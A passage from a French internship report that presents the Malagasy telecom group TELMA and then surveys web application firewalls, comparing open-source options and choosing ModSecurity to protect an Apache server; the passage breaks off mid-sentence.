II.1.2.1 TELMA Fixe : Cette société gère principalement tous ce qui concerne les liaisons de
téléphonie fixe (Compte client, liaison, service client, installation,…)

II.1.2.2 TELMA Mobile : Cette société s’occupe de tout ce qui tourne autour de la téléphonie
mobile entre autres les mobilisations publicitaires, les mises en services de nouvelles
fonctionnalités, gestion des clients, etc…

II.1.2.3 TELMA Internet : Concernant ce volet, TELMA a récemment réalisé une fusion-acquisition
avec la Société Data Telecom Service et devient donc TELMA Global Net qui est destiné à
gérer tous les liaisons et les clients internet du groupe afin d’exploiter les capacités
maximales du réseau TELMA, impliquant les technologies fibres optiques.

II.1.2.4 TELMA MVola : Actuellement en vogue en termes de services mise à disposition grâce à la
disponibilité des nouvelles technologies de l’information et de la communication, TELMA,
en partenariat avec la BFV-Société Général, a ouvert une société indépendante
27
 concernant les transactions monétaires et achats à partir d’un mobile, afin de gérer les
transactions et les clients de Mvola.

II.1.3 Les valeurs de TELMA

II.1.3.1 N° 1 : Leader des télécommunications et de l’innovation à Madagascar, nous irons toujours

plus loin pour rester votre choix numéro 1.

II.1.3.2 FAIRE SIMPLE : Nous concevons des services toujours plus simples à utiliser pour vous
rendre la vie facile.

II.1.3.3 DYNAMIQUE : Nous mettons notre passion au service de vos défis, nous nous impliquons
toujours plus pour votre succès.

II.1.3.4 EFFICACE : Entrepreneurs comme vous, nous recherchons la performance dans toutes nos
actions.

II.2 Dimension globale du groupe, de ses projets, de ses objectifs

II.2.1 Mission et responsabilité de TELMA

II.2.1.1 Responsabilité
La principale responsabilité est de permettre à chaque Malgache d’être un citoyen du
Monde

II.2.1.2 Mission
La mission est de faire simplement que chaque malgache puisse accéder aux changements
apportés par le numérique dans sa vie de tous les jours, qu’elle soit personnelle ou
professionnelle, au bénéfice de la société malgache

Ainsi, TELMA est plus qu’un opérateur car, La fondation TELMA, en ligne avec ses
préoccupations de bien-être et de qualité de vie des Malgaches, œuvre dans le domaine de la
Santé, de l’Education, de l’Aide à l’enfance/jeunesse, de l’Environnement et du Développement
Durable.

II.2.2 Les réalisations de TELMA

En ayant mis en place les conditions et les structures de communication nécessaires à la
création d’une économie moderne et compétitive, TELMA crée les opportunités nécessaires pour
les développements numériques.
28
 Par son choix d’investissements nationaux et internationaux, le groupe TELMA fait de sa
vision une réalité :

 Offrir les moyens et infrastructures techniques à Madagascar de son développement

 Permettre au pays d’accéder à l’ère de la technologie et des nouvelles opportunités

En effet, de nouvelles perspectives de croissance adaptées aux besoins de Madagascar vont se

créer grâce à l’arrivée d’EASSy et l’accès au Très Haut Débit sachant que les Tics ont un impact fort
sur le quotidien et l’avenir des malgaches et que TELMA est le catalyseur de ces impacts, par le
parti pris des hautes performances démocratisées. Plusieurs infrastructures sont donc déployées
comme :

II.2.2.1 Le câble EASSy

Le câble EASSy qui est une passerelle internationale, elle représente :

 Le Broadband à Madagascar : Très haut débit internet

 Une passerelle internationale : le 1er réseau international de Fibres Optiques à Madagascar

 Une accessibilité pour tous

 Une capacité pour l’avenir

 Un facteur de croissance pour l’économie du pays

 Une opportunité et une conjoncture internationale favorable

 La fin de l’isolement géographique

II.2.2.2 Le backbone national

Le backbone national joue le rôle de l’autoroute nationale de l’information, elle
représente :

 487 villes et localités couvertes

 40 Milliard de dollars d’investissement pour le backbone national

 3 000 km de fibre optique installés dur le territoire national

 Capacité extensible de 1200 Gbits/s

Ainsi elle assure le désenclavement des régions isolées pour apporter des perspectives de
développement des régions et aussi une sécurisation pour l’échange de données grâce aux
boucles de sécurisation des axes Antananarivo-Toamasina et Antananarivo-Toliara.

29
II.2.2.3 Le MAN
Le MAN ou le périphérique urbain de l’information. Ce réseau souterrain de 100 kms dessert
toutes les zones économiques et administratives à Antananarivo pour :

 Des échanges sécurisés entre sites

 Démocratisation de l’accès à Internet Haut Débit partout dans la ville

 Limitation et décroissance de la pollution visuelle dans la ville

 De nombreuses technologies sont ainsi déployées :

 La téléphonie fixe et mobile

 Le GSM fixe

 Les SMS/MMS

 L’internet mobile

 Les Hotspot WiFi

 Le partage

 La vidéosurveillance

 Le Wimax

 La CDMA

 L’xDSL

 La Fibre optique

Et tout cela est donc accompagné de plusieurs outils pour la gestion du bon fonctionnement
du système :

Tableau 1: Outils de production de TELMA

OUTILS DESCRIPTION

30
 RBS Billings Internet

CRM LITE Gestion Ticket Fixe, Mobile et Internet

OCOD CRM vente

SAGE Gestion Compta

AQUILA Gestion transaction de caisse

Arreté de caisse journalier
Contrôle inopinée de caisse
Situation en temps réel de situation de compte Mvola et produit
vendable

UTIBA 2TAMV Création 2TAMV, consultation transaction, bdd 2TM,

consultation bonus revendeur, traitement réclamation
revendeur

UTIBA MVOLA Création Abonné Mvola, point marchand, TPE, consultation

transaction, extraction données, consultation bonus,

WEB TOOL Consultation transaction mvola

MVOLA Initiation transaction mvola
Extraction Mvola
Gestion des comptes abonnés

WEB TOOL Consultation transaction 2TAMV

2TAMV report de transaction

ABILITY Billings Fixe et Mobile

RESA Réservation de numéro

GDP Stockage des dossiers

PMO Outil de gestion de projet

ACT750 Consultation bonus fidélisation

MINSAT Consultation transaction, bonus, quotas,…

MAESTRO Test débit Internet

ASTERISK Outil de gestion d'appel

31
 TAG IP[26] Véhicule tracking (géo localisation)

ZIMBRA Gestion des mails

SELF CARE Gestion compte client Fixe et Mobile en post paid

II.2.3 Impacts visés de ces réalisations

II.2.3.1 Sur les particuliers.

Le câble d’EASSy changera la vie de chaque homme, femme et enfant du pays en rendant la
technologie précédemment indisponible accessible à chacun :

 En diminuant l’insularité et l’isolement géographique

 En donnant l’accès à l’information via internet haut débit

 Par une politique de baisse des prix adaptée aux besoins de la population.

 Grâce à la création de nouveaux services permettant d’améliorer la vie des malgaches :

accès à l’information en temps réel, applications et programmes d’éducation, formation à
distance, développement de campagne d’information nationale sur la santé, l’agriculture…

 En accédant à des influences culturelles différentes et permettant ainsi le « métissage

culturel » et les expériences « duraliennes ».

 Un support pour le développement de solutions E-médecine afin de contribuer à

l’amélioration de soins à Madagascar.

II.2.3.2 Pour les entreprises

Une condition nécessaire pour le dynamisme, la croissance des entreprises et la création de
nouvelles activités à Madagascar. De plus grande capacité d’échange de données et d’information,
une sécurité optimisée des données au niveau national et international permettront :

 De faciliter les échanges au quotidien

 D’avoir accès à de nouvelles technologies

 D’innover par le développement de nouvelles infrastructures et activités liés à la création

de nouveaux services : VOD (vidéo on demand), TV numérique, E-commerce, E-learning
(formation à distance), visio-conférences, parcs d’activités offshoring pour le
développement de logiciels, de traitement de données, de centres d’appel, le back office
d’activités bancaires et d’assurances…

32
  De devenir une place attractive pour les investisseurs : en ayant accès à des infrastructures
de télécommunication fiables et modernes leur permettant de maîtriser l’information et de
la développer en opportunités

 De développer des compétences locales et créer de nouveaux emplois

 Des entreprises modernes, dynamiques et réactives grâce au développement des TIC, à

l’accès au haut débit et aux nouvelles infrastructures de communication de TELMA.

II.2.3.2.1 Au niveau du système d'information :

 Hausse de la productivité du travail pour la saisie de l'information, donc baisse des coûts.
Délocalisation de la production (ex : centre d'appels).

 Meilleure connaissance de l'environnement, réactivité plus forte face à cet environnement.

 Amélioration de l'efficacité de la prise de décision permise par une veille stratégique plus
performante.

 Au niveau de la structure de l'entreprise et de la gestion du personnel : organisation moins

hiérarchisée, partage d'information, meilleure gestion des ressources humaines
(recrutement, gestion des carrières plus facile).

II.2.3.2.2 Au niveau commercial :

 Nouveau circuit de production grâce à l'extension du marché potentiel (ex : commerce
électronique).

 Développement des innovations en matière de services et réponses aux besoins des

consommateurs.

 Amélioration de l'image de marque de l'entreprise (entreprise innovante).

II.3 Dimension Humaine et volet Ressources Humaines de TELMA

II.3.1 Effectifs
Le Groupe TELMA a pour vision d’être l’operateur de choix à long terme des clients et des
meilleurs talents à Madagascar. En octobre 2012, les collaborateurs du groupe TELMA est au
nombre de 1306 qui classe le groupe parmi les grandes entreprises à Madagascar. Le groupe
TELMA offre à ses collaborateurs un environnement de travail dynamique qui leur permet de

33
saisir des opportunités de développer leur talent, une combinaison unique d'aptitudes, de
compétences, d'expériences et d'aspirations mise à profit dans l'entreprise.

II.3.2 Organigramme du Groupe TELMA

L’organigramme de TELMA se divise en 4 grandes parties :

 La Direction Générale

 Le pôle technique

 Le pôle commercial et marketing

 Pôle Administration et Finances & Ressources Humaines

Figure 2: Organigramme de TELMA

34
II.3.3 Organigramme de la direction d’accueil

Figure 3: Organigramme de la Direction Technique Groupe

Ma direction d’accueil était donc la Direction Technique Groupe – Direction Support Client
& Internet Service Provider.

35
DEUXIEME PARTIE: ETUDE THEORIQUE DU
PROJET

36
I. NOTION ET DEFINITION

I.1 Étymologie
Le mot « firewall applicatif » d’où la nomination anglo-saxonne « Web Application Firewall »
regroupe deux termes bien séparé : premièrement le terme firewall ensuite le terme application.
Pour l’assimiler, il faudrait décortiquer chaque terme qui compose ce mot, afin de comprendre sa
mission, maitriser la relation entre les deux, puis saisir ce que veut dire l'ensemble.

I.2 Qu'est ce qu’une application Web ?

Aussi appelé site web dynamique ou webapp, une application web est un logiciel applicatif qui
s'utilise sur un poste client d'un réseau, tel qu'internet ou intranet, et qui peut être vue comme un
site internet dynamique réalisant une tâche spécifique (webmail, e-commerce, télébanking, etc...).
Elle est généralement basée sur une architecture client-serveur 3-tiers, qui comprend un serveur
Web, un serveur d'application (parfois confondus), et un ou plusieurs serveurs de bases de données.

Figure 4: Schématisation de l'architecture 3-tiers

Une application Web est une application qui n'a besoin que du protocole HTTP ou HTTPS pour
être pilotée par un utilisateur. Celui-ci n'a besoin que d'un simple navigateur Web ou d'une
application propriétaire utilisant le protocole HTTP/HTTPS. Ainsi, nous allons voir et détailler le rôle
et le mode de fonctionnement du protocole HTTP dans le paragraphe suivant.

I.3 Le protocole HTTP/HTTPS

I.3.1 Le protocole HTTP

I.3.1.1 Définition
HTTP est un protocole de la couche application. Il peut fonctionner sur n'importe quelle
connexion fiable, dans les faits on utilise le protocole TCP comme couche de transport. Un serveur
HTTP utilise alors par défaut le port 80 (443 pour HTTPS).

37
 La communication entre le navigateur et le serveur se fait en deux temps :

Figure 5: Modélisation de la communication entre un client et un serveur Web

 Le navigateur effectue une requête HTTP

 Le serveur traite la requête puis envoie une réponse HTTP

I.3.1.2 Une requête HTTP

Une requête HTTP est un ensemble de lignes envoyé au serveur par le navigateur. Elle
comprend :

 Une ligne de requête: c'est une ligne précisant le type de document demandé, la méthode
qui doit être appliquée, et la version du protocole utilisée. La ligne comprend trois
éléments devant être séparés par un espace :

 La méthode

 L'URL

 La version du protocole utilisé par le client (généralement HTTP/1.0)

Les champs d'en-tête de la requête: il s'agit d'un ensemble de lignes facultatives permettant
de donner des informations supplémentaires sur la requête et/ou le client (Navigateur, système
d'exploitation, ...). Chacune de ces lignes est composée d'un nom qualifiant le type d'entête, suivi
de deux points (:) et de la valeur de l'entête

Le corps de la requête: c'est un ensemble de lignes optionnelles qui sont séparées des lignes
précédentes par une ligne vide et permettant par exemple un envoi de données par une commande
POST lors de l'envoi de données au serveur par un formulaire.

38
 Une requête HTTP a donc la syntaxe suivante (<crlf> signifie retour chariot ou saut de ligne) :

METHODE URL VERSION<crlf>

EN-TETE : Valeur<crlf>

...

EN-TETE : Valeur<crlf>

Ligne vide<crlf>

CORPS DE LA REQUETE

I.3.2 Le protocole HTTPS

I.3.2.1 Aperçu
Quand nous naviguons sur internet, nous surfons sur des pages dont le titre commence
toujours par « HTTP ». Or ce protocole de communication n'est pas sécurisé et notre connexion
comporte de nombreuses données personnelles. C'est pourquoi, nous observerons que certaines
pages sont hébergées sous le protocole « HTTPS ». Nous découvrirons en quelques lignes les
critères de sécurité des sites sur lesquels nous laissons nos données.

Le protocole « HTTP » n'est soumis à aucun chiffrement. C'est pourquoi le protocole «HTTPS
» pour « HTTP » 'secured' a été inventé. Quand nous surfons sur un site ou certaines pages de sites,
notamment les pages de transaction des sites marchands ou sur les sites bancaires, nous observerons
que la racine de la page commence par « HTTPS ».

I.3.2.2 Les modes de chiffrement HTTPS

Le protocole « HTTPS » signifie que la communication entre nous et le serveur web du site
est chiffrée. Le flux de cette communication peut être plus ou moins fortement chiffré ou encrypté.
Il existe plusieurs modes de chiffrement : SSLv2, SSLv3 & TLS.

 Le protocole SSL peut quant à lui être symétrique ou asymétrique

 Le protocole TLS est un mode de chiffrement asymétrique

Pour plus de sécurité, les protocoles asymétriques sont préférés car ils rendent moins facile la
possibilité d'accéder aux données véhiculées par les flux d'un utilisateur, c'est- à-dire nos mots de
passe ou autres informations personnelles voire confidentielles.

39
I.4 Le protocole DNS

I.4.1.1 Définition
Quand nous voulons téléphoner à quelqu'un, nous devions connaître son numéro de
téléphone. Comme il est difficile de les retenir par cœur, on a inventé l'annuaire (qui permet de
retrouver un numéro à partir d'un nom).

Nom Numéro de téléphone

C'est la même chose sur Internet: pour qu'un ordinateur puisse contacter un autre
ordinateur, il doit connaître son adresse IP (exemple: 205.37.192.5). Pas facile à mémoriser non plus.

Alors on a inventé une sorte d'annuaire : les DNS

Nom ordinateur Adresse IP

Par exemple, sur notre ordinateur, nous tapons ping www.google.com (en ligne de
commande, dans une fenêtre MS-DOS): nous verrons l'adresse IP de ce site.

I.4.1.2 Que signifie l’acronyme D.N.S. ?

D.N.S. signifie donc plusieurs choses:

Domain Name System: l'ensemble des organismes qui gèrent les noms de domaine.

Domain Name Service: le protocole qui permet d'échanger des informations à propos des domaines.

Domain Name Server: un ordinateur sur lequel fonctionne un logiciel serveur qui comprend le
protocole DNS et qui peut répondre à des questions concernant un domaine.

I.5 Le firewall

I.5.1 Définition
Un pare-feu, ou firewall (de l'anglais), est un logiciel et/ou un matériel, permettant de faire
respecter la politique de sécurité d’un réseau, celle-ci définissant quels sont les types de
communication autorisés sur ce réseau informatique. Il mesure la prévention des applications et
des paquets.

I.5.2 Fonctionnalités
Un firewall classique conventionnel permet de filtrer au niveau de la couche réseau (Adresse
IP) et de la couche transport (TCP, UDP). Les règles sont définies en fonction de l'adresse IP source,
l'adresse IP de destination, le numéro de port source, le numéro de port de destination, l'état de la
connexion (flags), l'interface d'entrée et de sortie du firewall, etc...

40
 Comme le suggère la figure ci-dessous, un firewall IP n'offre absolument aucune protection
contre les attaques visant les applications Web, dans la mesure où celles-ci ont lieu au niveau
applicatif : elles utilisent le protocole HTTP sur le port 80, au même titre que le trafic Web
ordinaire. Un grand nombre de menaces peuvent être véhiculées par ce canal apparemment
inoffensif et qui est laissé ouvert sur la plupart des firewalls d'entreprise.

Figure 6: Les failles du firewall réseau

On conclut que contrôler les ports et les paquets IP ne suffit plus pour se protéger des
attaques. Désormais, les intrus s'en prennent aux applications, accessibles à travers des ports
toujours ouverts. C'est à ce moment que le pare-feu applicatif entre en action.

Et maintenant que nous avons fait connaissance avec la notion de l'application Web et comment
s'effectuent les requêtes et les réponses à travers le protocole HTTP ou HTTPS, ainsi que le mode de
fonctionnement et les failles du firewall, passons maintenant dans le vif du sujet qui concerne les Firewall
applicatifs ou Web Application Firewall que nous développerons tout au long de la deuxième partie de ce
second chapitre.

41
II. LES FIREWALLS D’APPLICATIONS WEB (WAF)

II.1 OWASP

II.1.1 Qu’est- ce que l’OWASP

OWASP (Open Web Application Security Project) est une communauté travaillant sur la
sécurité des applications Web. Sa philosophie est d'être à la fois libre et ouverte à tous.

OWASP est aujourd'hui reconnu dans le monde de la sécurité des systèmes d'information
pour ses travaux sur les applications Web. Parmi eux, les projets les plus connus sont les suivants :

 Top Ten OWASP : le but de ce projet est de fournir une liste des Dix Risques de Sécurité
Applicatifs Web les Plus Critiques. Ce classement fait référence aujourd'hui dans le
domaine de la sécurité et est cité par divers organismes (DoD, PCI Security Standard)

 WebGoat : il s'agit d'une plateforme de formation permettant à un utilisateur d'apprendre

à exploiter les vulnérabilités les plus courantes sur une application Web.

 WebScarab : il s'agit d'un proxy disposant de nombreuses fonctionnalités utiles lors de la

réalisation d'audits de sécurité. En plus de proposer à l'utilisateur de visualiser les
requêtes échangées avec un serveur Web, il est possible de modifier ces requêtes,
d'analyser les sessions ID, etc.

 OWASP Testing Guide : il s'agit d'un document de plusieurs centaines de pages destiné à
aider une personne à évaluer le niveau de sécurité d'une application Web.

 OWASP Code Review Guide : il s'agit d'un document de plusieurs centaines de pages
présentant une méthode de revue de code sécurité

Par ailleurs, OWASP organise régulièrement des meetings un peu partout dans le monde.
Durant ces rendez-vous, des intervenants issus du monde de la sécurité présentent un produit,
une faille, un projet OWASP, etc. (cf. Annexe 1)

42
II.1.2 Les risques répertoriés
L'OWASP tient à jour un classement des 10 vulnérabilités les plus rencontrées dans les
applications Web. Celles-ci sont données dans le tableau ci-dessous :

43
Tableau 2: TOP 10 des vulnérabilités des applications Web

II.1.3 Chiffrage des attaques

Aujourd'hui, filtrer le contenu est devenu tout aussi important, sinon plus, que de filtrer le
contenant, c'est à dire les paquets IP eux-mêmes.

44
 Les applications Web continuent d'être l'un des principaux vecteurs d'attaque pour les
criminels et la tendance ne montre aucun signe de fléchissement. En effet, de plus en plus, les pirates
évitent les attaques réseau au profit d'attaques par cross-site Scripting (XSS) ou d'injections SQL et de
nombreuses autres techniques d'infiltration destinées à frapper plus haut dans le modèle OSI, au
niveau de la couche applicative en général, et du Web en particulier d’où l’intérêt du WAF.

Nous pouvons illustrer ceci grâce au graphe ci-dessous :

Figure 7: Classement des 5 attaques les plus fréquentes sur le Web

Comme nous l'avons vu, il y'en a pas mal d'attaques Web applicatif qui menacent la
pertinence des serveurs Web. Notre solution s'inscrit dans l'optique de prémunir contre les
attaques de toutes sortes qu'elles soient connues ou non et ainsi d'anticiper leurs agissements. Et
le plus important est de journaliser les résultats sous format « log » pour faciliter le travail d'un
administrateur de sécurité et ça serait l'objet de notre prochain chapitre.

II.2 Qu’est-ce qu’un firewall d’application web

Un WAF (Web application Firewall) est un logiciel ou un équipement matériel placé entre le
firewall réseau et les serveurs WEB, il permet principalement de protéger les applications Web, des
attaques applicatives (SQL injections, Cross Site Scripting, injection de code)

II.2.1 Différence entre Firewall réseau et Firewall Applicatif Web

Le premier offre une protection périmétrique, il a en charge d'autoriser des paquets à le
traverser en fonction de leur source et de leur destination. Le firewall applicatif Web est lui en charge
du contenu de ces paquets. On peut comparer ces deux fonctionnalités à un contrôle douanier. Dans
un premier temps, une vérification sur le passeport est effectuée (ceci peut être assimilé au

45
firewall réseau), puis une fouille est réalisée (ici assimilée à la vérification effectuée par le firewall
applicatif WEB). Ces deux actions sont tout à fait complémentaires et indispensables.

II.2.2 La nécessité d’un WAF au sein d’une entreprise

Selon une étude du Gartner Inc., 75% des attaques ciblent les systèmes d'information à
travers les applications WEB. Selon cette même étude, 2/3 des applications Web sont vulnérables.
Elles ont donc une sensibilité « naturelle » aux attaques et offrent un large champ d'action aux
hackers. Les attaques Web sont très simples à mettre en œuvre (dans bien des cas parce qu’un
simple navigateur suffit). De plus, le retour sur investissement pour les hackers est élevé. Voilà
principalement pourquoi les applications Web sont de plus en plus la cible d'attaques.

Ainsi, mon encadreur m’a donc demandé de proposer une solution open-source de Firewall
Applicatifs Web afin de protéger le serveur Web apache de la société, ce qui m’a amené à faire une étude et
une comparaison des dix premiers WAF[50] classés sur le Web.

II.3 Les solutions de Firewall d’Applications Web.

II.3.1 L’open source

L'expression Open Source, qui signifie littéralement "source ouverte" en français,
s'applique à certains logiciels dont la licence respecte les critères définis par l'association Open
Source Initiative (OSI). L'Open Source Initiative défend en particulier la liberté d'accéder aux sources
des programmes. Ainsi les logiciels approuvés par l'OSI offrent la possibilité de libre redistribution,
d'accès au code source et de travaux dérivés. Leurs avantages sur l’exploitation par rapport aux solutions
classiques sont donc la possibilité de :

 Exécuter le programme librement, pour tous les usages et sans conditions

 Etudier le fonctionnement du programme et l'adapter à ses besoins spécifiques en accédant à

son code source

 Redistribuer le logiciel sous forme de copies, avec ou sans modifications, gratuitement ou non

 Améliorer le programme et publier ses améliorations afin d'en faire profiter les autres
utilisateurs.

II.3.2 Les Firewall application Web open source

46
II.3.2.1 Modsecurity (Trustwave labs)

Figure 8: Page d'accueil du site de ModSecurity

ModSecurity est l'un des plus vieux des pare-feu et les plus largement utilisés c'est une
solution open source qui permet de détecter les menaces au niveau des applications sur internet, et
offre une sécurité contre les attaques Web les plus courantes. Il peut être intégré aux programmes
d'Apache. Récemment, ModSecurity a publié les versions 2.7.0 qui offrent des fonctionnalités pour
l'intégration d'API de navigation en toute sécurité, le suivi des données sensibles et des fonctions de
modification de données et la version est maintenant stable pour NginX et IIS.

II.3.2.2 AQTRONIX WEBKNIGHT

Figure 9: Page d'accueil du site de AQTRONIX Webknight

AQTRONIX WebKnight est un pare-feu d'applications open source conçu spécifiquement pour
les serveurs Web et IIS, et il est autorisé par la GNU - General Public License. Il fournit les
fonctionnalités de débordement de tampon, de parcours de répertoire, l'encodage et l'injection SQL
pour identifier / limiter les attaques.

47
II.3.2.3 ESAPI WAF

Figure 10: Page d'accueil du site de ESAPI WAF

ESAPI WAF est une solution développée par Aspect Security il est conçu pour fournir une
protection à la couche application, au lieu de la couche réseau. Il s'agit d'une application Java basée
sur WAF qui fournit une sécurité complète contre les attaques en ligne. Quelques-unes des
caractéristiques uniques de la solution comprennent les fonctions de filtrage qui réduisent les fuites
d'informations. Il permet une installation facile en ajoutant simplement les détails de configuration
dans le fichier texte.

II.3.2.4 WebCastellum

Figure 11: Page d'accueil du site de WebCasstellum

WebCastellum est une application web basée sur Java qui permet de protéger les applications
contre les cross-site scripting, les injections SQL, les injections de commandes, la manipulation des
paramètres, et il peut être intégré facilement au niveau d'une application Java. Il est basé sur une
technologie nouvelle et il peut utiliser un code existant pour fournir une meilleure protection.

48
II.3.2.5 Guardian@JUMPERZ.NET

Figure 12: Page d'accueil du site de Guardian@JUMPERZ.NET

Guardian@JUMPERZ.NET est une pare-feu open source conçu pour la couche applicative il
évalue le trafic HTTP / HTTPS pour protéger l'application web contre les attaques externes.
Guardian@JUMPERZ.NET déconnecte la connexion TCP immédiatement lorsque l'application est en
contact avec une demande malveillante ou non autorisée.

II.3.2.6 Qualys Ironbee

Figure 13: Page d'accueil du site de IRONBEE

La société Qualys a créé un nuage basé sur un pare-feu d'applications open source web
Ironbee qui examine le protocole HTTP au lieu des paquets IP traditionnelles pour évaluer un
ensemble de données. Il peut même suivre les attaques sur le site le code cross scripting. Ironbee est
publié par le biais de la licence Apache version 2 et il ne fournit aucune session du droit d'auteur. Il a
une structure modulaire et est très facile à utiliser.

II.3.2.7 NAXSI

Figure 14: Page d'accueil du site de NAXSI

Contrairement aux des WAF déjà connus, NAXSI ne se base pas sur des signatures, mais plutôt
sur la détection d'attaques connues en interceptant des caractères et autres chaînes suspectes dans les
requêtes HTTP. Tel un système anti pourriel, NAXSI affecte un score à la requête et, lorsque ce dernier

49
est trop élevé, le client est redirigé sur une page de type 403. NAXSI reste un projet jeune, et en tant
que tel, nécessite plus de tests.

II.4 Comparaison des différentes solutions

Dans cette partie, nous allons effectuer une comparaison entre les différentes solutions que
nous avons vues précédemment afin de trancher sur la solution qui convient le plus à notre
infrastructure et celle qui pourrait apporter le maximum de profit en termes de sécurité.

II.4.1 Les critères de comparaison

Les critères de comparaison qui vont nous aider à fixer notre choix seront les suivants :

II.4.1.1 Fonctionnement White-list : Elle peut être utilisée lorsque l'accès à certaines fonctions
d'un système doivent être masquées à la plupart de ses utilisateurs ou logiciels (données
classifiées, actions pouvant influer sur le système lui-même...), toute entité ne figurant pas
sur la liste blanche se verra alors refuser certains accès ou certaines possibilités.

II.4.1.2 Fonctionnement Black-list : les adresses IP ou toute entité qui figure dans la black-list ne
peut pas accéder aux différentes ressources sur le serveur WEB.

II.4.1.3 Blocage selon la méthode GET : bloquer les requêtes malveillantes transmises par la
méthode GET

II.4.1.4 Blocage selon la méthode POST : bloquer les requêtes malveillantes transmises par la
méthode POST.

II.4.1.5 Blocage selon les entêtes HTTP : Lecture des entêtes HTTP, décrit comment définir le
nombre maximal d'octets pour un en-tête, une charge utile, une URL ou une requête, et
comment bloquer des demandes vers des URL qui contiennent des caractères spécifiques

II.4.1.6 URL Rewriting : URL Rewriting (réécriture d'URL en bon français) est une technique utilisée
pour optimiser le référencement des sites dynamiques (utilisant des pages dynamiques).
Les pages dynamiques sont caractérisées par des URL complexes, comportant en
général un point d'interrogation, éventuellement le caractère « & » ainsi que des noms de
variables et des valeurs.

II.4.1.7 FAQ, Assistance, Mailinglist : chaque produit est accompagné par une assistance
technique, un forum ou un mailinglist qui traite l'ensemble des problèmes rencontrés
par les utilisateurs.

50
 II.4.2 Le tableau de comparaison
Le tableau ci-dessous présente un comparatif détaillé sur les points traités par chaque
solution, les points forts ainsi que ses points faibles pour trancher à la fin sur une solution
optimale qui peut répondre au cahier de charges suite à une réflexion et un choix minutieux.

Tableau 3: Tableau de comparaison des WAF

MOD AQTRONI ESAPI WEB Guardian@ QUALIS NAXSI

Produits X
SECURITY WAF CASTELLU JUMPERZ.N IRONBEE
WEBKNIG M ET
HT
Critères

Licence Open Open Open Open Open Open Open

Source Source Source source source Source Source

Fonctionne x x - x - x x
ment White-
List

Fonctionne x x - x - x x
ment

Black-List

Blocage x x x x x x x
selon GET

Blocage x x x x x x x
selon POST

Blocage x x x x x x -
selon les
entêtes
HTTP

URL x x x A l’aide - x -
Rewriting d’un
programm
e externe

51
F.A.Q Mise à jour - - La langue Il n’y a pas Une mise Naxsi est
complète est de mise à à jour basé sur la
Assistance
avec un allemande jour basée sur solution
Mailing List développe . périodique. Modsecuri Nginx
ment Plus de ty. Open
Il n’existe
assisté et mise à jour Source qui
pas de L'architect
qui suit les depuis 2009 permet le
mise à e Ivan
dernières load
jour Rystic a
information balancing
périodiqu conçu ce
s sur les
e comme deuxième
attaques les
WAF suite
plus Modsecuri
au succès
récentes ty.
qu'à
connu
Modsecuri
ty

Serveur Web Apache, IIS Apach Reverse Apache, Reverse Nginx

e, proxy proxy
Nginx, IIS
IIS
IIS

Grace à ce tableau comparatif, nous avons pu présenter les différentes solutions Open
Source disponibles au niveau du marché, nous avons évoqué justement plusieurs critères pour
trancher sur une solution finale qui peut se présenter comme un produit optimal. Ici, Modsecurity
parait répondre à la totalité de ces critères en plus d'un point fort qu'on ne peut pas le nier c'est
l'aptitude de ce produit à avoir une mise à jour complète et assistée par des grands développeurs.
Le CRS ou (le Core Rule Set) ne sont que les fruits d'une assistance technique présentée sous
forme de plusieurs règles mises à jours et bloquant la totalité des attaques web courantes dans le
WEB.

II.5 Conclusion partielle

Nous avons donc vue jusqu’ici les termes importants tournant autour du projet qui m’a été
confié. Dans ce troisième chapitre, nous allons maintenant détaillés la mise en pratique du projet.
Ceci englobera donc une étude plus technique de modsecurity, les étapes d’installation, de
configuration, et de test de ce module, ainsi qu’un volet réservé à la perspective d’extension du
projet.
52
TROISIEME PARTIE : ETUDE PRATIQUE DU
PROJET

53
 Ce chapitre compose la partie technique déployé dans le cadre de ce projet. Nous entamerons
dans la dite, la configuration et la mise en place de la totalité de l'architecture finale, les différents
procédures de tests pouvant prouver l’efficacité du système et enfin nous verrons les perspectives
d’améliorations qui peuvent encore être apportées.

I. IMPLEMENTATION DE MODSECURITY

I.1 Fiche technique de Modsecurity

I.1.1 Informations
ModSecurity est un projet issu du monde open source qui a débuté en 2002. Aujourd'hui
disponible en version 2.7.x, il a acquis des performances honorables, tant en termes de stabilité et
de traitements. Ce projet est accessible gratuitement et il est soutenu par Breach Security qui
développe des solutions dédiés aux entreprises clef, en main avec ses machines dédiés à la tâche.
La philosophie de ModSecurity est aussi très transparente. Ainsi rien n'est effectué implicitement
puisque tout est accessible dans la configuration. Bref les utilisateurs contrôlent point par point le
système et sans surprises.

I.1.2 Fonctionnalités
Les fonctionnalités phares de Modsecurity sont donc :

 La génération de fichiers journaux du trafic HTTP

 L'analyse et la détection en temps réel des attaques

 Un moteur de règles totalement personnalisables

 La prévention des attaques et la mise à jour juste à temps

ModSecurity propose en plus de son Pare-feu d’Application Web, une console de gestion des
incidents qui permet d'envoyer des rapports par mail pour permettre de minimiser les temps
d'intervention à la détection d'une attaque ou d'une nouvelle vulnérabilité dans l'application web.

I.1.3 Les différentes phases de traitement de ModSecurity

ModSecurity dispose de cinq phases de traitement qui correspondent chacune à une étape
clé. Pour chaque transaction, les phases sont exécutées séquentiellement de la phase 1 à la phase
5. Une transaction correspond à une requête d'un client et la réponse renvoyée par le serveur.

54
I.1.3.1 Phase 1: Traitement des en-têtes de la requête
Cette phase permet notamment d'inspecter les arguments passés dans l'URL dans le cas
d'une requête en GET ainsi que de vérifier les cookies ou le User Agent.

I.1.3.2 Phase 2: Traitement du corps de la requête

L'analyse de corps de la requête permet d'inspecter les arguments dans le cas d'une
requête en POST

I.1.3.3 Phase 3: Traitement des en-têtes de la réponse

Les en-têtes de la réponse du serveur Web, sont observés par ModSecurity afin de décider
s'il est nécessaire ou non d'inspecter le corps de la réponse.

I.1.3.4 Phase 4: Traitement du corps de la réponse

Cette phase est identique à la phase 2 sauf qu'elle traite la réponse fournie par le serveur.
Elle permet notamment de prévenir la fuite d'informations via des messages d'erreur.

I.1.3.5 Phase 5: La journalisation

Cette phase permet la journalisation des requêtes, elle permet de définir comment la
transaction doit être journalisée. Cette phase intervenant en dernier lieu, le traitement de la
transaction est déjà effectué. On ne peut donc pas bloquer une transaction lors de cette phase.

I.1.4 Fonctionnement de Modsecurity

ModSecurity est un module du serveur Apache qui assure les fonctions de pare-feu
applicatif. Il protège les sites Web et vos applications des différents types d’attaques connues sur
le Web. Il travaille sur le protocole HTTP au niveau de la couche application.

ModSecurity intervient à chaque phase de la transaction initiée entre un client Web et le

serveur Apache. Il analyse tour à tour l’entête ou le corps des requêtes HTTP et des réponses.
Grâce à un corpus de règles de base certifiées, dès son installation, il est capable d’intercepter de
